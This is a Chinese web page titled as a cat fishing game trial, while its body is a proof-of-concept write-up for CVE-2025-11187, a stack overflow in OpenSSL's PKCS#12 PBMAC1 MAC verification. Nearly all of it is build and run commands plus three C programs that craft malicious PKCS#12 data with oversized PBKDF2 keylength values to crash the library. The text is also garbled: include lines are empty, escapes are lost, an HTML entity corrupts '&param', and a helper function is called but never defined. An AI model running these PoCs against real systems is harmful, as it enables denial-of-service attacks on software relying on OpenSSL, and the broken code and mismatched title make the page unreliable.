《猫猫钓游记》可爱+收集+钓鱼游戏试玩
2026-06-30
2026-07-01 0
本项目针对 OpenSSL 3.x 版本中发现的一个堆栈缓冲区溢出漏洞(CVE-2025-11187)进行了深入分析和验证。该漏洞位于 libcrypto 库的 PKCS#12 PBMAC1 实现中,当解析恶意构造的 PKCS#12 文件时,攻击者可通过控制 PBKDF2 的 keylength 参数触发堆栈缓冲区溢出,导致拒绝服务(DoS)。

PKCS12_gen_mac() 函数的栈溢出问题sudo apt update
sudo apt install openssl libssl-dev gcc make
所有 PoC 文件编译时需链接 OpenSSL 库:
# 编译第一个 PoC(直接栈溢出触发)
gcc -o poc1 poc1.c -lssl -lcrypto# 编译第二个 PoC(参数化 keylength)
gcc -o poc2 poc2.c -lssl -lcrypto# 编译第三个 PoC(最小化构造)
gcc -o poc3 poc3.c -lssl -lcrypto
./poc1
该程序创建一个带有超大 keylength(4096)的恶意 PKCS#12 结构,调用 PKCS12_verify_mac() 时触发栈溢出。
# 使用默认参数(keylength=4096, iter=1000, sha256)
./poc2 4096# 自定义迭代次数和摘要算法
./poc2 8192 10000 sha512
./poc3 4096
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "crypto/pkcs12/p12_local.h"static void die(const char *msg) {
fprintf(stderr, "%sn", msg);
ERR_print_errors_fp(stderr);
exit(1);
}int main(void) {
ERR_load_crypto_strings(); // 创建 PKCS12 对象
PKCS12 *p12 = PKCS12_new();
if (!p12) die("PKCS12_new failed"); // 设置 authsafes 数据
p12->authsafes = PKCS7_new();
if (!p12->authsafes) die("authsafes alloc failed");
if (!PKCS7_set_type(p12->authsafes, NID_pkcs7_data)) die("PKCS7_set_type failed");
ASN1_OCTET_STRING *os = ASN1_OCTET_STRING_new();
if (!os) die("octet string alloc failed");
const unsigned char payload[] = {0x01,0x02,0x03};
if (!ASN1_OCTET_STRING_set(os, payload, (int)sizeof(payload))) die("octet set failed");
p12->authsafes->d.data = os; // 初始化 PBMAC1 参数(使用 PKCS12_set_pbmac1_pbkdf2)
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, 1000, EVP_sha256(), NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed"); X509_ALGOR *macalg = NULL;
ASN1_OCTET_STRING *macoct = NULL;
X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct); // 手动构造 PBMAC1PARAM,设置超大 keylength
PBMAC1PARAM *param = PBMAC1PARAM_new();
if (!param) die("PBMAC1PARAM_new failed"); X509_ALGOR *hmac_alg = X509_ALGOR_new();
if (!hmac_alg) die("hmac alg alloc failed");
if (!X509_ALGOR_set0(hmac_alg, OBJ_nid2obj(NID_hmacWithSHA256), V_ASN1_NULL, NULL))
die("X509_ALGOR_set0 hmac failed"); unsigned char salt[8];
if (RAND_bytes(salt, sizeof(salt)) <= 0) die("RAND_bytes failed");
// 关键:设置超大 keylength 触发栈溢出
int keylen = 4096;
X509_ALGOR *alg = PKCS5_pbkdf2_set(1000, salt, (int)sizeof(salt), NID_hmacWithSHA256, keylen);
if (!alg) die("PKCS5_pbkdf2_set failed"); param->keyDerivationFunc = alg;
param->messageAuthScheme = hmac_alg; if (!ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter))
die("pack PBMAC1PARAM failed"); PBMAC1PARAM_free(param); // 触发漏洞:PKCS12_verify_mac 调用 PKCS12_gen_mac 时栈溢出
int ok = PKCS12_verify_mac(p12, "pass", 4);
printf("verify result: %dn", ok); PKCS12_free(p12);
return 0;
}
static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
// 使用 OpenSSL API 初始化 PBMAC1
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed"); X509_ALGOR *macalg = NULL;
ASN1_OCTET_STRING *macoct = NULL;
X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);
// 获取 PBKDF2 参数结构体
PBKDF2PARAM *pbkdf2 = PBMAC1_get1_pbkdf2_param(macalg);
if (pbkdf2 == NULL) die("PBMAC1_get1_pbkdf2_param failed");
// 直接修改 keylength 字段
if (pbkdf2->keylength == NULL)
pbkdf2->keylength = ASN1_INTEGER_new();
ASN1_INTEGER_set(pbkdf2->keylength, keylen); // 重新编码并设置回 macalg
unsigned char *der = NULL;
int derlen = i2d_PBKDF2PARAM(pbkdf2, &der);
if (derlen <= 0) die("i2d_PBKDF2PARAM failed");
ASN1_STRING *kdfparam = ASN1_STRING_new();
if (kdfparam == NULL) die("ASN1_STRING_new failed");
ASN1_STRING_set0(kdfparam, der, derlen);
X509_ALGOR_set0(macalg, OBJ_nid2obj(NID_pbmac1), V_ASN1_SEQUENCE, kdfparam);
PBKDF2PARAM_free(pbkdf2);
}int main(int argc, char **argv)
{
ERR_load_crypto_strings();
if (argc < 2) {
fprintf(stderr, "Usage: %s [iter] [digest]n" , argv[0]);
return 1;
}
int keylen = atoi(argv[1]); // 从命令行获取 keylength
int iter = (argc >= 3) ? atoi(argv[2]) : 1000;
const char *dg = (argc >= 4) ? argv[3] : "sha256";
const EVP_MD *md = EVP_get_digestbyname(dg);
if (!md) die("Unknown digest"); PKCS12 *p12 = PKCS12_new();
if (!p12) die("PKCS12_new failed");
set_authsafes_data(p12);
set_pbmac1_keylen(p12, md, iter, keylen); // 直接调用 PKCS12_gen_mac,不经过 verify 包装
unsigned char mac[EVP_MAX_MD_SIZE];
unsigned int maclen = 0;
int ok = PKCS12_gen_mac(p12, "pass", 4, mac, &maclen);
printf("verify_mac returned: %d, maclen=%un", ok, maclen);
PKCS12_free(p12);
return 0;
}
static PKCS12 *build_p12_min(void)
{
STACK_OF(PKCS12_SAFEBAG) *bags = NULL;
PKCS12_SAFEBAG *bag = NULL;
PKCS7 *p7 = NULL;
STACK_OF(PKCS7) *safes = NULL;
PKCS12 *p12 = NULL;
unsigned char secret[] = { 0xAA }; // 创建最小化的安全包
bags = sk_PKCS12_SAFEBAG_new_null();
if (bags == NULL) die("sk_PKCS12_SAFEBAG_new_null failed"); bag = PKCS12_SAFEBAG_create_secret(NID_secretBag, V_ASN1_OCTET_STRING, secret, (int)sizeof(secret));
if (bag == NULL) die("PKCS12_SAFEBAG_create_secret failed");
if (!sk_PKCS12_SAFEBAG_push(bags, bag)) die("push bag failed"); // 打包为 PKCS7 数据
p7 = PKCS12_pack_p7data(bags);
if (p7 == NULL) die("PKCS12_pack_p7data failed"); safes = sk_PKCS7_new_null();
if (safes == NULL) die("sk_PKCS7_new_null failed");
if (!sk_PKCS7_push(safes, p7)) die("push p7 failed"); // 创建 PKCS12 对象
p12 = PKCS12_add_safes(safes, NID_pkcs7_data);
if (p12 == NULL) die("PKCS12_add_safes failed"); sk_PKCS12_SAFEBAG_pop_free(bags, PKCS12_SAFEBAG_free);
sk_PKCS7_pop_free(safes, PKCS7_free);
return p12;
}static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
// 使用公开 API 设置 PBMAC1
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed"); // 获取 MAC 算法参数
const ASN1_OCTET_STRING *pmac = NULL;
const X509_ALGOR *macalg_const = NULL;
PKCS12_get0_mac(&pmac, &macalg_const, NULL, NULL, p12);
if (macalg_const == NULL) die("PKCS12_get0_mac failed"); // 解包 PBMAC1PARAM
PBMAC1PARAM *param = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), macalg_const->parameter);
if (param == NULL) die("unpack PBMAC1PARAM failed"); // 解包 PBKDF2PARAM
PBKDF2PARAM *pbkdf2 = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), param->keyDerivationFunc->parameter);
if (pbkdf2 == NULL) die("unpack PBKDF2PARAM failed"); // 设置超大的 keylength
if (pbkdf2->keylength == NULL) {
pbkdf2->keylength = ASN1_INTEGER_new();
if (pbkdf2->keylength == NULL) die("ASN1_INTEGER_new keylength failed");
}
ASN1_INTEGER_set(pbkdf2->keylength, keylen); // 重新打包参数
if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), pbkdf2, ¶m->keyDerivationFunc->parameter) == NULL)
die("pack PBKDF2PARAM failed");
PBKDF2PARAM_free(pbkdf2); X509_ALGOR *macalg = (X509_ALGOR *)macalg_const;
if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter) == NULL)
die("pack PBMAC1PARAM failed");
PBMAC1PARAM_free(param);
}